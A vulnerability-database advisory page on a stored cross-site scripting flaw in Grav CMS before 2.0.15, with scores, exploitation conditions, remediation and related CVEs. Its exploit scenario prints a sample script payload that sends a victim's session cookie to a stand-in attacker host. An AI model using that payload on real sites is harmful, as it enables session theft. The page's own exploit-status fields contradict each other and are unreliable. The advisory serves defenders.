Skip to main content

Grav CMS EUVDEUVD-2026-60595

| CVE-2026-75831 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain low-privilege editor account
  2. Delivery
    Craft media element with malicious URL fragment
  3. Exploit
    Save page with injected payload
  4. Install
    Victim views the page
  5. C2
    Unsanitised fragment rendered into rawHtml
  6. Execute
    Injected script executes in victim's browser session
  7. Impact
    Session token or credentials exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold a low-privileged account with permission to create or edit pages containing media (audio or video) in Grav CMS - anonymous unauthenticated access is insufficient. A victim (such as an administrator or any authenticated user with access to the page) must subsequently view the crafted page, providing the required passive user interaction (UI:P in the CVSS 4.0 vector). Exploitation is limited to Grav installations running versions prior to 2.0.15. The co-patched image resize CSS injection variant further requires that image resize parameters are reachable from Markdown page content (the default configuration), but that vector results only in CSS injection, not arbitrary JavaScript execution. Neither variant requires any special server-side configuration beyond a functional Grav instance with standard media support enabled.

Impact

The CVSS 4.0 score of 5.1 (Medium) accurately reflects the constrained exploitation path: PR:L requires the attacker to hold a content-editor account, and UI:P requires a victim to passively view the malicious page - two sequential prerequisites that substantially reduce real-world risk compared to a fully unauthenticated stored XSS. The subsequent-system impact metrics (SC:L/SI:L) reflect limited browser-session compromise rather than server-side control. No KEV listing exists and no public POC has been identified, consistent with a moderate-priority issue. EPSS data was not provided, so probabilistic exploitation risk cannot be quantified. One notable discrepancy exists: the CVE description attributes the flaw to audio/video media via sourceParsedownElement and URL fragment concatenation, while the commit diff and CHANGELOG focus exclusively on a CSS injection via image resize (GHSA-ffmg-hfvg-jhg9) - defenders should verify with the vendor advisory (GHSA-6qw9-4vv5-jr97) whether both vectors are addressed in 2.0.15 or whether the audio/video XSS is a distinct unpatched surface.

Exploit ScenarioDerived

An attacker with a low-privileged editor account on a Grav site crafts a Markdown page embedding an audio or video element whose URL contains a malicious JavaScript payload in the fragment (e.g., a media URL ending in #<script>document.location='https://attacker.example/steal?c='+document.cookie</script>). When an administrator or authenticated visitor navigates to the page, the unsanitised fragment is rendered into the HTML by sourceParsedownElement, causing the injected script to execute in the victim's browser and exfiltrate their session cookie. No public POC has been identified, but the attack requires only standard browser HTTP and a valid editor credential.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 18, 2026

Stored cross-site scripting in Grav CMS before 2.0.15 allows a low-privileged content contributor to inject arbitrary HTML and JavaScript into pages containing audio or video media elements, executing in the browser sessions of any viewer. The flaw originates in the sourceParsedownElement method, where media URL fragments are concatenated without escaping into rawHtml output. No public exploit is identified at time of analysis, but the CVSS 4.0 vector (PR:L/UI:P) confirms exploitation requires an authenticated editor and a passive victim who views the crafted content.

RemediationAI

Upgrade Grav CMS to version 2.0.15 or later, which applies input coercion and style-value validation across the affected media rendering paths (vendor advisory: https://github.com/getgrav/grav/security/advisories/GHSA-6qw9-4vv5-jr97; patch commit: https://github.com/getgrav/grav/commit/aba291a59cab29ddce491175791888d8d0b65e20). If an immediate upgrade is not possible, restrict content-editing permissions to fully trusted users only, since exploitation requires an authenticated contributor account. As a compensating control, consider deploying a Content Security Policy (CSP) header with a strict script-src directive to limit the impact of any injected JavaScript, though note this does not prevent HTML injection or CSS-based attacks. Sites where untrusted or anonymous users can author media-rich content face meaningfully higher risk and should prioritise patching.

Affected VersionsENISA

grav 0 <2.0.15

Affected Packages

composer getgrav/grav fix: 2.0.15
euvd grav fix: 2.0.15

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Grav is a flat-file PHP CMS (CPE: cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*) that uses a Parsedown-based Markdown renderer. The sourceParsedownElement method within the media rendering pipeline constructs rawHtml output for audio and video elements by concatenating the media URL fragment directly without HTML entity encoding or sanitisation - a textbook CWE-79 (Improper Neutralisation of Input During Web Page Generation) defect. A separate but co-remediated issue patched in the same commit (GHSA-ffmg-hfvg-jhg9, referenced internally in the diff) involves CSS injection via the image resize parameter, where non-numeric width/height values were passed directly into inline style attributes; the fix in StaticResizeTrait.php coerces dimensions to integers and MediaObjectTrait.php now validates keyed CSS declarations through isSafeStyleValue() before serialisation. The vendor advisory is GHSA-6qw9-4vv5-jr97 and the remediation commit is aba291a59cab29ddce491175791888d8d0b65e20.

Know when Grav gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Network delivery, low complexity; low privileges (editor account required); victim must view page (UI:R); scope changes to victim browser with limited confidentiality and integrity impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Grav before 2.0.15 contains a stored cross-site scripting vulnerability in the audio and video media rendering through the sourceParsedownElement method. The media URL fragment is concatenated unescaped into rawHtml source elements, allowing attackers to inject arbitrary HTML and JavaScript that executes in viewers' sessions.

Threat Intelligence Overview

EPSS Score
0.3%
Top 83% exploitable
Prevalence
Medium
popular flat-file PHP CMS, niche relative to WordPress
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Grav

View all
CVE-2025-66294 HIGH POC
8.7 Dec 01

Server-side template injection (SSTI) in Grav (getgrav/grav) prior to 1.8.0-beta.27 allows an authenticated attacker hol

CVE-2025-66301 HIGH POC
8.6 Dec 01

Broken access control in Grav CMS (CWE-285) before 1.8.0-beta.27 lets an authenticated editor-level user escalate their

CVE-2025-50286 HIGH POC
8.1 Aug 06

A Remote Code Execution (RCE) vulnerability in Grav CMS v1.7.48 allows an authenticated admin to upload a malicious plug

CVE-2024-34082 CRITICAL POC
9.9 May 15

Grav is a file-based Web platform. Rated critical severity (CVSS 9.9), this vulnerability is remotely exploitable, low a

CVE-2021-47812 CRITICAL POC
9.8 Jan 16

GravCMS 1.10.7 allows unauthenticated remote attackers to write arbitrary YAML configuration files, leading to full serv

CVE-2026-65008 CRITICAL POC
9.3 Jul 21

Remote code execution in Grav CMS 2.0.4 (fixed in 2.0.7) lets an authenticated user holding the admin.pages or api.pages

CVE-2026-75827 CRITICAL POC
9.3 Aug 18

Remote code execution in Grav CMS before 2.0.15 allows attackers holding page-edit or blueprint-config privileges to wri

CVE-2026-75837 CRITICAL POC
9.3 Aug 18

Vertical privilege escalation in Grav CMS before 2.0.14 lets a delegated administrator holding only the admin.users perm

CVE-2026-75828 CRITICAL POC
9.3 Aug 18

Stored cross-site scripting in Grav CMS before 2.0.15 lets authenticated editors smuggle JavaScript event handlers past

CVE-2025-66844 CRITICAL POC
9.1 Dec 15

Server-side request forgery (SSRF) in Grav CMS versions prior to 1.7.49.5 allows remote authenticated attackers to make

CVE-2025-66299 HIGH POC
8.8 Dec 01

Grav is a file-based Web platform. Prior to 1.8.0-beta.27, Grav CMS is vulnerable to a Server-Side Template Injection (S

CVE-2026-72819 HIGH POC
8.7 Aug 14

Remote code execution in Grav CMS before 2.0.13 allows authenticated low-privilege users to plant and execute arbitrary

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy